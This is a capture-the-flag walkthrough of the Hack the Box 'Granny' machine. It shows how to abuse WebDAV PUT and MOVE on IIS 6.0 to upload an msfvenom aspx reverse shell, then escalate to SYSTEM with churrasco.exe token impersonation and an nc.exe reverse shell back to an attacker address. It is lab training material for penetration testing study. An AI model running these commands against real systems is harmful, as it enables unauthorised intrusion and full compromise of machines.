This walkthrough is for Granny box from Hack the Box which is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following:

  • webdav MOVE options exploit to upload aspx file.
  • Service user token impersonate for privilege escalation.

I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.

Nmap scan report for 10.10.10.15
Host is up, received user-set (0.013s latency).
Scanned at 2022-08-01 15:53:08 AEST for 23s
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE REASON          VERSION
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 6.0
| http-webdav-scan: 
|   WebDAV type: Unknown
|   Server Type: Microsoft-IIS/6.0
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|   Server Date: Mon, 01 Aug 2022 05:53:31 GMT
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT POST
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-title: Under Construction
|_http-server-header: Microsoft-IIS/6.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2003|2008|XP|2000 (92%)
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   13.01 ms 10.10.14.1
2   13.11 ms 10.10.10.15

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug  1 15:53:31 2022 -- 1 IP address (1 host up) scanned in 30.50 seconds

nmap scan result shows that there is webdav enabled on the server. It is windows machine running the Microsoft IIS 6.0.

Now, running the davtest I can see that we can upload (using PUT) .html and .txt files but not the .aspx file.

davtest -url http://10.10.10.15

Also, from our initial nmap scan, I can see that the allowed options on the webserver includes MOVE . Now, we can use this MOVE options to change(rename) the uploaded file .html or .txt (only .html and .txt are allowed to upload using PUT) to .aspx.

For webdav pentest, I always use cadaver for its ease of use

cadaver http://10.10.10.15

I tried uploading the aspx file it was forbidden.

Now I used msfvenom to create a malicious aspx file.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f aspx > rev.aspx

Now I rename that file to rev.html

Now, I upload rev.html using PUT and rename it to rev.aspx using MOVE.

Start a listener on port 443. Now,executing http://10.10.10.15/rev.aspx from the browser will give us the reverse shell.

Looking at the systeminfo and using windows exploit suggester, I can see there is token kidnapping Local Privilege Escalation.

wes.py sysinfo.txt -i 'Elevation of Privilege' --exploits-only -c| more

Checking the exploit, I can see the if we can run a code under any service then we can elevate our privilege. we are running as network service , so we can try to use the exploit for privilege escalation.

Also, checking the privileges whoami /priv I can see SeImpersonatePrivilege is enabled.

Now, downloading the exploit you have to compile it. I went the easy way and used the compiled version from here . I started the smb server and copied the exploit to the target machine.

copy \\10.10.10.10\kali\6705.exe 6705.exe

Now, executing the exe file, I see this error. Program too big to fit in memory

Luckily, I had sqlninja installed and it also has churrasco.exe binary. Location for the binary is /usr/share/sqlninja/apps/churrasco.exe

Now, transferring this file to the target machine and it worked. The usage for the exploit is churrasco.exe -d "<your command>"

Now, I uploaded nc.exe and send the reverse shell as the system user. churrasco.exe -d "nc.exe 10.10.10.10 443 -e cmd.exe"

We get the reverse shell as the system user.